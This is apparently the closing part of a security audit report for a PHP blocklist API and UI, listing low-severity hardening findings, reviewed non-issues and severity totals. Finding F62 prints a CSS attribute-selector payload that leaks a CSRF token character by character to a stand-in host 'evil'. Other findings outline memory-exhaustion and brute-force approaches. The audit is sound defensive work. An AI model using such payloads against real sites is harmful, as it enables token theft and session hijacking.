  • Risk: Inline scripts plus event handlers force 'unsafe-inline' (F24). Migrating to per-request nonces, or moving these scripts into a packaged /assets/app.js, lets the CSP drop the 'unsafe-inline' token.
  • Severity: 1

F57 — Session cookie name lacks __Host- prefix

  • File: ui/src/Auth/SessionManager.php:23, 54-62
  • Risk: Attributes are correct (HttpOnly, prod Secure, SameSite=Lax, path=/, no Domain). Adding __Host- enforces these at the browser and prevents subdomain cookie shadowing. Free defence-in-depth.
  • Severity: 1

F58 — /api/docs CSP allows external CDN without SRI

  • File: api/docker/Caddyfile:41
  • Risk: script-src 'unsafe-inline' https://cdn.jsdelivr.net. If the CDN is compromised or RapiDoc serves user-influenced content, the docs page executes attacker JS. Add SRI hashes on the RapiDoc tag, or vendor a copy locally.
  • Severity: 1

F59 — Missing modern hardening headers

  • Files: ui/docker/Caddyfile:18-34, api/docker/Caddyfile:24-30
  • Risk: No Cross-Origin-Opener-Policy, Cross-Origin-Resource-Policy, or X-Permitted-Cross-Domain-Policies. Permissions-Policy covers only geolocation, microphone, camera. Cheap to add the rest.
  • Severity: 1

F60 — HSTS lacks preload

  • Files: ui/docker/Caddyfile:37, api/docker/Caddyfile:36
  • Risk: Informational. Operators who want HSTS preload need to add the directive.
  • Severity: 1

F61 — Caddy Permissions-Policy minimal

  • Files: ui/docker/Caddyfile:24, api/docker/Caddyfile:30
  • Risk: Modern hardening also denies interest-cohort, payment, usb, magnetometer, gyroscope, accelerometer, fullscreen, display-capture, clipboard-read, etc.
  • Severity: 1

F62 — CSP style-src 'unsafe-inline' enables CSS-attribute-selector exfiltration

  • File: ui/docker/Caddyfile:33
  • Risk: With an HTML-injection (sub-XSS) primitive, an attacker can write CSS like input[name=csrf_token][value^="a"] { background-image: url(//evil/?p=a); } to leak the CSRF token char-by-char. Drop 'unsafe-inline' for style-src and move dynamic widths to a stylesheet driven by data-* attributes.
  • Severity: 1

F63 — Twig autoescape default is not explicitly configured

  • File: ui/src/App/Container.php:105-131
  • Risk: Defaults to 'html' today, but a future Twig major or Slim-twig wrapper change could quietly flip it. Pin 'autoescape' => 'html'.
  • Severity: 1

F64 — compose.scheduler.yml references a missing crontab file

  • File: compose.scheduler.yml:10 (./docker/scheduler.crontab)
  • Risk: The bind-mount source does not exist in the repository. Container starts with empty /etc/crontabs/root and silently never runs cleanup-audit (audit retention silently broken) or cleanup-expired-manual-blocks. Failure-open monitoring gap.
  • Severity: 1

F65 — SecretScrubbingProcessor does not match raw JWT shape

  • Files: api/src/Infrastructure/Logging/SecretScrubbingProcessor.php:42-57, ui/src/Logging/SecretScrubbingProcessor.php:22-37
  • Risk: A short Bearer (< 20 chars) is not redacted by the current regex. Raw id_token/access_token JWTs logged under alternate keys (e.g. 'jwt' => '...') escape the key-name list. Add a JWT regex ^[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+$.
  • Severity: 1

F66 — APP_SECRET and UI_SECRET declared but unused

  • Files: .env.example:23, 82, api/config/settings.php:35, ui/config/settings.php:37
  • Risk: UI_SECRET is never referenced in ui/src/. APP_SECRET is never used for any signing/HMAC operation. Operators following .env.example generate secret material that does nothing — a misleading security signal. Either wire them into ETag/CSRF/session signing or remove them.
  • Severity: 1

F67 — UI Config::validateOrExit does not check UI_SECRET despite docs

  • Files: ui/src/App/Config.php:20-55, .env.example:82
  • Risk: .env.example:82 documents UI_SECRET as required ("signs session cookies") but the boot validator does not check it. Sessions are unsigned PHP-native files. Misleading documentation.
  • Severity: 1

F68 — /api/v1/openapi.yaml and /api/docs are unauthenticated

  • Files: api/src/App/AppFactory.php:99-101, api/docker/Caddyfile:40-44
  • Risk: The 48 KB OpenAPI spec leaks the full surface of admin endpoints, internal-job endpoints, expected query/body shapes, and error contracts to unauthenticated callers. Defaults to internet-reachable. Aids reconnaissance. Gate behind a flag like API_DOCS_PUBLIC or move to an authenticated path.
  • Severity: 1

F69 — ReportController parses unbounded JSON body before size checks

  • Files: api/src/Application/Public/ReportController.php:99-113, 184-197, api/src/App/AppFactory.php:67
  • Risk: jsonBody() reads (string) $request->getBody() and json_decodes it without a pre-decoding size check. The 4 KB METADATA_MAX_BYTES is checked only after decoding succeeds — the full body is in memory by then. PHP post_max_size/memory_limit are not configured anywhere in the docker stack. An authenticated reporter (one weak token suffices) can POST a 100 MB body and burn memory; metadata-depth nesting up to PHP's 512 default amplifies. Set JSON_THROW_ON_ERROR, cap body size in Caddy, and enforce php_value memory_limit.
  • Severity: 1

F70 — BlocklistController?format=json forces sha256-of-50k-entries on every cache miss

  • File: api/src/Application/Public/BlocklistController.php:80-85, 176-193
  • Risk: A consumer can request the more expensive JSON renderer on demand. Per-process BlocklistCache TTL=30s — every cache miss rebuilds and rehashes. Combined with the per-token-only rate limit, a single consumer at 60 req/s sustains 60 full build-and-hash operations per second per replica. Header size limits cap the If-None-Match parse loop but it is still an amplifier. Constrain format per consumer (only allow what the consumer typically uses).
  • Severity: 1

F71 — BlocklistCache is not size-bounded

  • File: api/src/Infrastructure/Reputation/BlocklistCache.php:33, 42-59
  • Risk: The cache map is keyed by $policy->id and grows monotonically with no LRU. Admin-creatable, but unbounded. Add a bounded LRU (e.g. 16 policies cached).
  • Severity: 1

F72 — /ips/{ip:.+} accepts unbounded path parameter

  • Files: api/src/App/AppFactory.php:256, api/src/Application/Admin/IpsController.php:121-127
  • Risk: A logged-in Viewer can call /api/v1/admin/ips/<10MB>. rawurldecode runs on the entire string; IpAddress::fromString applies regex. Web-server URL-length limits typically cap this at a few KB but mitigations are environment-specific. Tighten the regex to a strict IP character class.
  • Severity: 1

F73 — UI JsonExceptionHandler getCode() type-juggling for HTTP status

  • File: ui/src/Http/JsonExceptionHandler.php:40-63
  • Risk: getCode() from arbitrary Throwable is used as HTTP status if it is in [400, 600). PDOException's getCode() is a SQLSTATE string (e.g. '42S02') — coerced via comparison. A string like '400' would set status 400 and skip prod message-suppression. Cast to int explicitly and reject non-numeric codes.
  • Severity: 1

F74 — LoginThrottle writes logger->warning per failure with no log-rate cap

  • File: ui/src/Auth/LoginThrottle.php:79-93
  • Risk: A sustained brute-force attack at 100 req/s fills disk via the structured logger. No log-rate cap, no aggregation. Pair with F1 (XFF spoof) and F2 (no per-user bucket) to amplify.
  • Severity: 1

Reviewed and acceptable

The following candidate concerns were checked and are not findings in the current code. Listed for completeness so the next reviewer doesn't redo the same work.

  • No raw SQL interpolation of user input. All repositories bind via DBAL named/positional parameters. The only sprintf into SQL is for table names where values are hardcoded constants or ? placeholder counts.
  • No ORDER BY injection. Every ORDER BY uses constants — no user-controlled sort column anywhere reviewed.
  • No unserialize, eval, exec, shell_exec, system, passthru, proc_open, popen, backticks, or preg_replace /e modifier anywhere in api/src or ui/src (vendor excluded).
  • IP/CIDR parsing (IpAddress::fromString, Cidr::fromString) is strict — rejects whitespace, leading zeros, bracketed IPv6, zone identifiers, malformed octets.
  • Token format & entropy. random_bytes(20) = 160 bits, base32 encoded. SHA-256 storage at rest. Lookup is by hash — no timing side channel.
  • Constant-time comparisons used where they matter (hash_equals in CSRF, internal token, local-admin username).
  • OIDC S256 PKCE explicitly set; missing sub claim rejected.
  • Failed-token responses are uniform 401 — no distinction between missing/malformed/unknown/revoked/expired.
  • Impersonation header is silently ignored on non-service tokens.
  • Impersonation user id strictly validated as ^[1-9][0-9]*$.
  • JobRunner orchestrates entirely via DBAL — no shell-out.
  • MmdbVerifier opens MMDB via MaxMind\Db\Reader with node-count thresholds; truncated/empty downloads fail closed.
  • UI Guzzle client uses a fixed API_BASE_URL from env — not user-retargetable.
  • MaintenanceController::purge loops 'DELETE FROM '.$table over a hard-coded allowlist.
  • Twig auto-escape (HTML) is the default; no |raw over user-controlled data was found.
  • Logout is POST-only and CSRF-protected.
  • Session cookie attributes (HttpOnly, Secure in prod, SameSite=Lax) are correct.
  • PharData::extractTo rejects path traversal since PHP 8.

Summary of severity counts

Severity Count
3 5
2 27
1 42
Total 74

The headline risks are: (a) the brute-force lockout is bypassable trivially via X-Forwarded-For spoofing or distributed sources (F1, F2), (b) a leaked or unrotated service token is a single-step total compromise because /api/v1/auth/upsert-local mints Admin users with no impersonation/audit/RBAC/rate-limit (F3), and (c) audit integrity rests on a non-transactional best-effort second write that silently no-ops on failure (F4, F5). The combination of these means a single compromised credential plus a deliberately-failed audit insert yields un-traced privilege escalation.